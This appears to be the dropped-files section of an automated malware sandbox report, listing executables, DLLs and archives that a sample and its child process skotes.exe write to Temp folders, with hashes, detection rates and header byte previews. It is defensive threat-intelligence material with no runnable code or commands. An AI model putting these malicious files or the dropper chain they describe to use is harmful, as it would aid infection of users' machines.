File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4484096
Entropy (8bit):	7.987379795408887
Encrypted:	false
SSDEEP:	98304:tteL6ZJc0HazXMrBDxmWsmzM4bLvM17r1hLYe44:bZJB6zXMF9mqM4vvM175ZYe44
MD5:	F200A3445A8034D201EEB79BB29E1D73
SHA1:	473CD32EB4BC8FF05C3E608B86BA651FC4D7B0E1
SHA-256:	EE6C112A14A1E5A9429B47F5B810F61A58E77860EEA867E064D2AB40582757CC
SHA-512:	6170CED6054E3DF739312E54D89BF969C305B5EB34DFF3E1645A11F2614463D41BF1D98A21E94D6B611654E4A0BFAE1164C9CFB0E84D8149A15711976A81DAA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5rg...............(..M...w..2............M...@..........................0........E...@... ............................._.t.s.....t...............w.....d....................................................................................... . ..t.......(.................@....rsrc.........t.......(.............@....idata ......t.......(.............@... ..9...t.......(.............@...whflkpvn.....P........(.............@...esywlygt.............FD.............@....taggant.0......."...JD.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3151360
Entropy (8bit):	6.656593848249308
Encrypted:	false
SSDEEP:	49152:kkIlQwjVgzA0wb9Ah375vpndrsYtS8EACCRG0g+/yWXPifETW:slngzby9AhFvpndgYt/Eirgiph
MD5:	C77592F28D3267B7C5E0529B6741548A
SHA1:	E0A741DBBDD703B9254E5613B36DC727262C1EFC
SHA-256:	739345A9FA6A95C79E3AAF761A810E917492C2072330EC5BB058447B9D56EA62
SHA-512:	5286B4313116AC2FD7096E5C60BF4A221E4EFBA3CE15CABD7BA79432AB62E77518244EC7D89B24BC4CFFD9CB5C21F67C10DD3434ECF6F5CB94C5AAB1E4134314
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg............................. 0...........@..........................P0.....\|C0...@.................................Y@..m....0.......................A...................................................................................... . . ....... ..................@....rsrc........0.......0..............@....idata .....@.......4..............@...jimlxaop....P......6..............@...lzmmbpyt......0......./.............@....taggant.0... 0.."..../.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5175296
Entropy (8bit):	5.547294600176339
Encrypted:	false
SSDEEP:	49152:uMegDAFfdiSkW9jEiKG4xidWwqnSYQlE9nC6YIogBic:8iAFfcSkW9jEXG4EcnAgogB
MD5:	14FC1658DE54A19670851A44AFC48ABC
SHA1:	951BA600309FF863C3EC177BA78AF16C288F5729
SHA-256:	6509D2FFD8BC3662DFE134AE1B1E811BDA35C68F51F6A40EEE823FCE9EF960E3
SHA-512:	77D96DF4E0239FC55AB61E106E17D57ED699CC040DAF652E8673BBC1DBED20E4C5502AD05E7F79460C6613831280F9C1AA0688419C9451C1ECBA9F1F631509F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................0O.......O...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...tjfrjgvc.0...$..,...$.............@...oeyaxygs......N.......N.............@....taggant.0....O.."....N.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	968192
Entropy (8bit):	6.698476963939942
Encrypted:	false
SSDEEP:	24576:pqDEvCTbMWu7rQYlBQcBiT6rprG8a2T7L:pTvC/MTQYxsWR7a2
MD5:	CA250DF7319AC4E1A197E00FDA0C4323
SHA1:	77696B82C8ED34A6B1AF27761DCAEBAEF49128B2
SHA-256:	517EC3BEE4730F2B57B1E5D576D0F92749C32D6678AC7695670C7C2B4D86AE06
SHA-512:	DFFBCB6B2979C71E83CC701CA62BD7DE9138C5612A7D12DB4052576768558139B595EEF2193EAB03D307FE507FEE95AD1A8FED6447EDC255782EEF2F42E1E98A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...k=vg..........".................w.............@.......................... ............@...@.......@.....................d...\|....@..H[.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...H[...@...\..................@..@.reloc...u.......v...P..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2720256
Entropy (8bit):	6.505348715308637
Encrypted:	false
SSDEEP:	24576:xLzUj1NNAEUFD7E3eHd6nLH5hFzAj2ZIX8rqBd6naVt71m9coDSfQJkIkY+D9eXR:xLwj18dAeHdYLH/FkaKeT4wkY+BjEWO
MD5:	B0A80C5DBC0761ED26C786D6F2E56E1F
SHA1:	308C9FAC8B3819C769F8ADB3E2FDBB0B82F48B86
SHA-256:	7714DC96D85C73D907950612DCEA1AD92DC48DF27311D8F6216A0B5FD61EF42A
SHA-512:	A21F3F1BDF34E44F0603CAD93A2055923584F9324C3C5A2286C884739F70AE243A76ABA5B48E0663F4DF9966DFBD877335FBBEF4DD87241123765506EA73605E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............).. ...`....@.. .............................64...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........d..............@...sfopxnfq..).......(..f..............@...upkutmqu. ....)......\).............@....taggant.@....).."...`).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	15360
Entropy (8bit):	5.03888709426846
Encrypted:	false
SSDEEP:	384:8dGRmTbW+eO9GXSrtx2MUyQ6JCgf61FDOVV:QzGXaff61FDO7
MD5:	9BE5AC720DCF1838FD5A2D7352672F66
SHA1:	D8046191A1D1756768A8BAD62CE3BA757DEB7D53
SHA-256:	CC5EB5AC7CB599572A1C9747EFA83774221E0AD4A24ED6545D5BC03A44A23196
SHA-512:	72F618868C9960332931D7055A4BFF5B3394979A1F5D8089D51C6DC436A121A3D9332D405A3EB3F65FCB8C5930C73606E194782FCF29B46D5E42235DE29ACC33
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..2...........P... ...`....@.. ....................................`..................................O..O....`..............................(O..8............................................ ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B.................O......H........-..`!...........................................................0..8.......s......(....}......}......}.....\|......(...+.\|....(.....0...........(......s...... ...o.....+.....0..\........s.......o......(....o....o....o .....r...po!......("...&...&.r...prm..p...(#...&....($..........1..<.......0..1.......s......(....}......}.....\|......(...+.\|....(........0..V...........(.....ry..p.(%......(&...&r...p.r...p('...((..........r...p.o)...(...((..................."8..

C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe

Download File

Process:	C:\Users\user\Desktop\random(4).exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3229696
Entropy (8bit):	6.694527762643923
Encrypted:	false
SSDEEP:	49152:crGsKUNW0CaotgIHBZ84N1zJpfNK9tuUPe/ertjfw:crGsH80CjtpHBZZpfN6tuUWItTw
MD5:	F70FD98886425270B5017B04C74B31B8
SHA1:	4986A38E280964CA0D7182C915937DE01C3A4929
SHA-256:	2DC46C49E36B784224D8BECA0430CAF53E821640D359C855B35025C0CFA22AB9
SHA-512:	5DD23707162709C4CB27416E1111EB60FE40DCA24DD34DFF64F54FADAD943B66A06255AF37D09AA037F910FF06369C3763EC6FC0940FC3803303E47D9B8947B6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.......2...@.................................W...k............................51..............................51..................................................... . ............................@....rsrc...............................@....idata ............................@...xqzoqyib..........................@...ryeovcsc.....@1......"1.............@....taggant.0...P1.."...&1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\AutoIt3_x64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1071704
Entropy (8bit):	6.432838117683661
Encrypted:	false
SSDEEP:	24576:5TC6Rb6qu1PyC+NRLtpScpzbtT7pyOolKL8Sq/jrc5xaNIBB:5+6AqSPyC+NltpScpzbtvpJoMQSq/jre
MD5:	8FA52F316C393496F272357191DB6DEB
SHA1:	B1FF3D48A3946CA7786A84E4A832617CD66FA3B9
SHA-256:	92C6531A09180FAE8B2AAE7384B4CEA9986762F0C271B35DA09B4D0E733F9F45
SHA-512:	C81DA97D6980D6A5AA612070477950A1386239BB919E762F7870BCCD459A03DA48F8F169910B91F3827C6CFEF50471569C9E0C9FF2CEB897904D81840C087D51
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.....................................q....`...@...............@..............................l..\|.......P....P...o...4..X&......\|... .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc..\|............(..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\database.pdb

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
File Type:	data
Category:	dropped
Size (bytes):	241157
Entropy (8bit):	7.950933531075931
Encrypted:	false
SSDEEP:	3072:YTgt6LRJX4InmmSun3jZo/6g7SvQofPBwAOYrr/HNc8QuJuGfg1Fb4qA/:YztJo7yHgevQ7bAjtcrVCgbbQ
MD5:	C5D3C2BA6AE7DCA00253E4ECFFBA5FFF
SHA1:	A4FE66A2BC0A9C765D686B79EBB32B9E1FF28914
SHA-256:	D3310ED7739ABF58A57B91D408B554C617944EF19866ED402890D3FB6BF8E9D8
SHA-512:	F6104A069C931DA6E36C0A0823EA3CDE0BE741C0C4794B307E1CA6A33AD4B32B55CB4DD7275DE54AF4E636454E82488ECCD08F97422E036EDE500D2DD9BB5158
Malicious:	false
Reputation:	unknown
Preview:	......b........7......M..I..Tu.'.dcfCN.~n..z+.....{.x.............P...a. 1..`.H.M...(.R.1.{.{L.p..Cvk.....]o.N....H...}T.D..i..9..!S.0$...I....M..<..i.'@".>WnZ=...c.........F..6Q...Z.LR.$T.."...6.5.8...?...{iI3.<..N.z.ik).F_....hd{...0&s,0p.lV.8...c`...?...Rr...S.G...<.0[oh...{..wj...4.T.6.\....a).d.,..C...w.e.3.....\..\.+..K.4.Z.N..4Q...m....v:..drh..=u..'....(.v..k.....8...t~...2%..y)s....SgK=..IJ...1....2e.7.zL....I/d..?....p....X.N...N...p.e..^RJ...D.Y......z..+.w.].5.........]..T..y......K./t....:...........;-..M.#.......,<..=..v/%.....I.a..6.8}R.l{.J..{..Ow....un.W?.wW:Y..F.4y.n.......^...3q....i=....<.."i.>.`V.3...3.. ...5.....?.t.."#..W.....e^.`....O...........j..+...^.GAo.b{.....5.o.<......<8D.../.zZ.6......h..h..v.3....>...o.G../-.......5a\|.............o.R._..$.5s..[&..).. ...0'...i..........Q.......;...........9......C..t.+K*9c\|Y......'..'...!....t .\|9...m.. ....4Ds.\|.&.B../=Sr/w.e..1..5.;.0.}...u...........f..[....

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\main.pdb

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
File Type:	MSVC program database ver 7.00, 4096*41 bytes
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	2.8893957788892175
Encrypted:	false
SSDEEP:	1536:kRI0pmdcJVseJwFLGzrNCpZCu6VIYfK+QLBqArs+/9T:kR12cj5JWKzxCpb6VIdtLIQ
MD5:	86F1542816FEA380454305D44F8D0C68
SHA1:	924EF5C867FCCC65DD16920780F80AAB4540CEAA
SHA-256:	E818792CBF2985B031190ACA717C981F6D12B4A6150347215284466AE7F012F5
SHA-512:	68F8471F12E24460C1F3F1D2E9C5F6D6252CAEEFB7F959B050CF84F806432EB7505938A583552D62B0DED969B4A930A808AAF350197835481FCC96C566BC9517
Malicious:	false
Reputation:	unknown
Preview:	Microsoft C/C++ MSF 7.00...DS...........)...........'...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439208
Entropy (8bit):	6.6510194969003855
Encrypted:	false
SSDEEP:	12288:IdyX+9Tk5fb+5J56HgGwKz2zRThUgiW6QR7t5s03Ooc8dHkC2es+Fpyd:LX+9TkR+5J56AjKz2VA03Ooc8dHkC2eu
MD5:	FDD04DBBCF321EEE5F4DD67266F476B0
SHA1:	65FFDFE2664A29A41FCF5039229CCECAD5B825B9
SHA-256:	21570BCB7A77E856F3113235D2B05B2B328D4BB71B4FD9CA4D46D99ADAC80794
SHA-512:	04CFC3097FBCE6EE1B7BAC7BD63C3CFFE7DCA16F0EC9CD8FE657D8B7EBD06DCBA272FF472F98C6385C3CFB9B1AC3F47BE8CA6D3EA80AB4AEED44A0E2CE3185DD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P..%.d.v.d.v.d.v...w.d.v..~v.d.v.d.v.d.vv..w.d.vv..w.d.vv..w.d.vv..w.d.vv..w.d.vv..v.d.vv..w.d.vRich.d.v................PE..L..."............."!.........~...............0......................................h.....@A.........................\......Hc...........................'......$7..hX..T............................W..@............`..@............................text............................... ..`.data...L(...0....... ..............@....idata.......`.......8..............@..@.rsrc................P..............@..@.reloc..$7.......8...T..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\setup.tar.gz

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
File Type:	data
Category:	dropped
Size (bytes):	22774
Entropy (8bit):	7.993057976798303
Encrypted:	true
SSDEEP:	384:Mm4XLenCmw+655WGYKTxOMJX3aAbZN0YomyPtITefbev5nmY+um28g6DQwVmB/1Q:nFnCmxcnYkOMJntbZN0FmyP2yjeVgDg8
MD5:	FA02AA9830A046974C7AFE1D1BCC24AC
SHA1:	6CE8D5215BF1F3716AB8051EDABE1CB5D7F8BF4B
SHA-256:	84AB6BBCDE2711DBBE2D23BD4BC98D97336EC193AC0501925C90C99C77801BFC
SHA-512:	22FB3B02EA87BECD33369414A87F630618C6571B02D51F61896E9E7716814276A424D54B1C622AA4868E5AECD5069A2870E7B3DDD4610EC4DD2BCB6E8E642999
Malicious:	false
Reputation:	unknown
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....k:\.....K.).9.....\|.cSQ.........wO.O..-..zz..eD..b..@..D..7.H......[...f.j=&.?..#..M.a.#\|.y&.m.W(............y...............Z...:?..Z...:?.kC.R......%x....}...q..U-...(....%....V..?p.h......<.Y....w^.........S..E.wX0..+...,9F.T.\|W4.-D.,...6..^....U,...=m..]S.:R..:..Jq..m....4.ix...=..t.&....l..=......y.jp...............Z....;..Z...w>.m.......w8.5...x...(nU.j....06.f".].X.:..)...].H.}...x...xX..W.P...=.g.e..,'....f-.._.EO.S.3....OLb.Zg...]....E. ..U..Z......St.R...&XV....;.)..../..:.n7r.m.X......G...K..V.....DNC.G...QQZ...M..&.,....b..0..NH.d.h...Yv..@..L......m3!.0.j.2.Tz...9...^..H2Y{._.....>.bm.c.:.j.V{.a..8.h).. .W.F.g..Q....q..............u.%?L.U.mM....=C.q5h....:..o..Y.&.Tq.2.t .....d..B.~..M.....w6?T..(....C....._}..p.b.l.1....u.x.([p.]\|s..^.]BzgHwD.6..~.1...}.Lgl7(C.6..X.ob..T...MH.5J.P.H."...E.Q.nu....X.i.,@.=.Mc.Rk.....n.....k`~Y..

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028927001\55c1ca23f1.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1170904
Entropy (8bit):	6.805826320677691
Encrypted:	false
SSDEEP:	24576:+WiAihjcDBXUw9y079gzyVFExlfz+pq12S5qyrmcvIZPoy4spcFOo:NiAihjmXfgzyVFEWc2SEyApcco
MD5:	126FB99E7037B6A56A14D701FD27178B
SHA1:	0969F27C4A0D8270C34EDB342510DE4F388752CD
SHA-256:	10F8F24AA678DB8E38E6917748C52BBCD219161B9A07286D6F8093AB1D0318FA
SHA-512:	D787A9530BCE036D405988770621B6F15162347A892506CE637839AC83AC6C23001DC5B2292AFD652E0804BD327A7536D5F1B92412697C3BE335A03133D5FE17
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..\...\...\......\...]...\.......\...\...\..._...\...Y...\...R...\...X...\.......\...^...\.Rich..\.........................PE..L.................!................0................................................b....@A................................t".......@...................!...P......P...T...........................p...@............ ..p............................text...P........................... ..`.data...<...........................@....idata....... ......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.001\AutoIt3_x64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1071704
Entropy (8bit):	6.432838117683661
Encrypted:	false
SSDEEP:	24576:5TC6Rb6qu1PyC+NRLtpScpzbtT7pyOolKL8Sq/jrc5xaNIBB:5+6AqSPyC+NltpScpzbtvpJoMQSq/jre
MD5:	8FA52F316C393496F272357191DB6DEB
SHA1:	B1FF3D48A3946CA7786A84E4A832617CD66FA3B9
SHA-256:	92C6531A09180FAE8B2AAE7384B4CEA9986762F0C271B35DA09B4D0E733F9F45
SHA-512:	C81DA97D6980D6A5AA612070477950A1386239BB919E762F7870BCCD459A03DA48F8F169910B91F3827C6CFEF50471569C9E0C9FF2CEB897904D81840C087D51
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.....................................q....`...@...............@..............................l..\|.......P....P...o...4..X&......\|... .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc..\|............(..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.001\database.pdb

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
File Type:	data
Category:	dropped
Size (bytes):	241157
Entropy (8bit):	7.950933531075931
Encrypted:	false
SSDEEP:	3072:YTgt6LRJX4InmmSun3jZo/6g7SvQofPBwAOYrr/HNc8QuJuGfg1Fb4qA/:YztJo7yHgevQ7bAjtcrVCgbbQ
MD5:	C5D3C2BA6AE7DCA00253E4ECFFBA5FFF
SHA1:	A4FE66A2BC0A9C765D686B79EBB32B9E1FF28914
SHA-256:	D3310ED7739ABF58A57B91D408B554C617944EF19866ED402890D3FB6BF8E9D8
SHA-512:	F6104A069C931DA6E36C0A0823EA3CDE0BE741C0C4794B307E1CA6A33AD4B32B55CB4DD7275DE54AF4E636454E82488ECCD08F97422E036EDE500D2DD9BB5158
Malicious:	false
Reputation:	unknown
Preview:	......b........7......M..I..Tu.'.dcfCN.~n..z+.....{.x.............P...a. 1..`.H.M...(.R.1.{.{L.p..Cvk.....]o.N....H...}T.D..i..9..!S.0$...I....M..<..i.'@".>WnZ=...c.........F..6Q...Z.LR.$T.."...6.5.8...?...{iI3.<..N.z.ik).F_....hd{...0&s,0p.lV.8...c`...?...Rr...S.G...<.0[oh...{..wj...4.T.6.\....a).d.,..C...w.e.3.....\..\.+..K.4.Z.N..4Q...m....v:..drh..=u..'....(.v..k.....8...t~...2%..y)s....SgK=..IJ...1....2e.7.zL....I/d..?....p....X.N...N...p.e..^RJ...D.Y......z..+.w.].5.........]..T..y......K./t....:...........;-..M.#.......,<..=..v/%.....I.a..6.8}R.l{.J..{..Ow....un.W?.wW:Y..F.4y.n.......^...3q....i=....<.."i.>.`V.3...3.. ...5.....?.t.."#..W.....e^.`....O...........j..+...^.GAo.b{.....5.o.<......<8D.../.zZ.6......h..h..v.3....>...o.G../-.......5a\|.............o.R._..$.5s..[&..).. ...0'...i..........Q.......;...........9......C..t.+K*9c\|Y......'..'...!....t .\|9...m.. ....4Ds.\|.&.B../=Sr/w.e..1..5.;.0.}...u...........f..[....

C:\Users\user\AppData\Local\Temp\7ZipSfx.001\main.pdb

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
File Type:	MSVC program database ver 7.00, 4096*41 bytes
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	2.8893957788892175
Encrypted:	false
SSDEEP:	1536:kRI0pmdcJVseJwFLGzrNCpZCu6VIYfK+QLBqArs+/9T:kR12cj5JWKzxCpb6VIdtLIQ
MD5:	86F1542816FEA380454305D44F8D0C68
SHA1:	924EF5C867FCCC65DD16920780F80AAB4540CEAA
SHA-256:	E818792CBF2985B031190ACA717C981F6D12B4A6150347215284466AE7F012F5
SHA-512:	68F8471F12E24460C1F3F1D2E9C5F6D6252CAEEFB7F959B050CF84F806432EB7505938A583552D62B0DED969B4A930A808AAF350197835481FCC96C566BC9517
Malicious:	false
Reputation:	unknown
Preview:	Microsoft C/C++ MSF 7.00...DS...........)...........'...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.001\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439208
Entropy (8bit):	6.6510194969003855
Encrypted:	false
SSDEEP:	12288:IdyX+9Tk5fb+5J56HgGwKz2zRThUgiW6QR7t5s03Ooc8dHkC2es+Fpyd:LX+9TkR+5J56AjKz2VA03Ooc8dHkC2eu
MD5:	FDD04DBBCF321EEE5F4DD67266F476B0
SHA1:	65FFDFE2664A29A41FCF5039229CCECAD5B825B9
SHA-256:	21570BCB7A77E856F3113235D2B05B2B328D4BB71B4FD9CA4D46D99ADAC80794
SHA-512:	04CFC3097FBCE6EE1B7BAC7BD63C3CFFE7DCA16F0EC9CD8FE657D8B7EBD06DCBA272FF472F98C6385C3CFB9B1AC3F47BE8CA6D3EA80AB4AEED44A0E2CE3185DD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P..%.d.v.d.v.d.v...w.d.v..~v.d.v.d.v.d.vv..w.d.vv..w.d.vv..w.d.vv..w.d.vv..w.d.vv..v.d.vv..w.d.vRich.d.v................PE..L..."............."!.........~...............0......................................h.....@A.........................\......Hc...........................'......$7..hX..T............................W..@............`..@............................text............................... ..`.data...L(...0....... ..............@....idata.......`.......8..............@..@.rsrc................P..............@..@.reloc..$7.......8...T..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.001\setup.tar.gz

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
File Type:	data
Category:	dropped
Size (bytes):	22774
Entropy (8bit):	7.993057976798303
Encrypted:	true
SSDEEP:	384:Mm4XLenCmw+655WGYKTxOMJX3aAbZN0YomyPtITefbev5nmY+um28g6DQwVmB/1Q:nFnCmxcnYkOMJntbZN0FmyP2yjeVgDg8
MD5:	FA02AA9830A046974C7AFE1D1BCC24AC
SHA1:	6CE8D5215BF1F3716AB8051EDABE1CB5D7F8BF4B
SHA-256:	84AB6BBCDE2711DBBE2D23BD4BC98D97336EC193AC0501925C90C99C77801BFC
SHA-512:	22FB3B02EA87BECD33369414A87F630618C6571B02D51F61896E9E7716814276A424D54B1C622AA4868E5AECD5069A2870E7B3DDD4610EC4DD2BCB6E8E642999
Malicious:	false
Reputation:	unknown
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....k:\.....K.).9.....\|.cSQ.........wO.O..-..zz..eD..b..@..D..7.H......[...f.j=&.?..#..M.a.#\|.y&.m.W(............y...............Z...:?..Z...:?.kC.R......%x....}...q..U-...(....%....V..?p.h......<.Y....w^.........S..E.wX0..+...,9F.T.\|W4.-D.,...6..^....U,...=m..]S.:R..:..Jq..m....4.ix...=..t.&....l..=......y.jp...............Z....;..Z...w>.m.......w8.5...x...(nU.j....06.f".].X.:..)...].H.}...x...xX..W.P...=.g.e..,'....f-.._.EO.S.3....OLb.Zg...]....E. ..U..Z......St.R...&XV....;.)..../..:.n7r.m.X......G...K..V.....DNC.G...QQZ...M..&.,....b..0..NH.d.h...Yv..@..L......m3!.0.j.2.Tz...9...^..H2Y{._.....>.bm.c.:.j.V{.a..8.h).. .W.F.g..Q....q..............u.%?L.U.mM....=C.q5h....:..o..Y.&.Tq.2.t .....d..B.~..M.....w6?T..(....C....._}..p.b.l.1....u.x.([p.]\|s..^.]BzgHwD.6..~.1...}.Lgl7(C.6..X.ob..T...MH.5J.P.H."...E.Q.nu....X.i.,@.=.Mc.Rk.....n.....k`~Y..

C:\Users\user\AppData\Local\Temp\7ZipSfx.001\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028931001\75b25e676e.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1170904
Entropy (8bit):	6.805826320677691
Encrypted:	false
SSDEEP:	24576:+WiAihjcDBXUw9y079gzyVFExlfz+pq12S5qyrmcvIZPoy4spcFOo:NiAihjmXfgzyVFEWc2SEyApcco
MD5:	126FB99E7037B6A56A14D701FD27178B
SHA1:	0969F27C4A0D8270C34EDB342510DE4F388752CD
SHA-256:	10F8F24AA678DB8E38E6917748C52BBCD219161B9A07286D6F8093AB1D0318FA
SHA-512:	D787A9530BCE036D405988770621B6F15162347A892506CE637839AC83AC6C23001DC5B2292AFD652E0804BD327A7536D5F1B92412697C3BE335A03133D5FE17
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
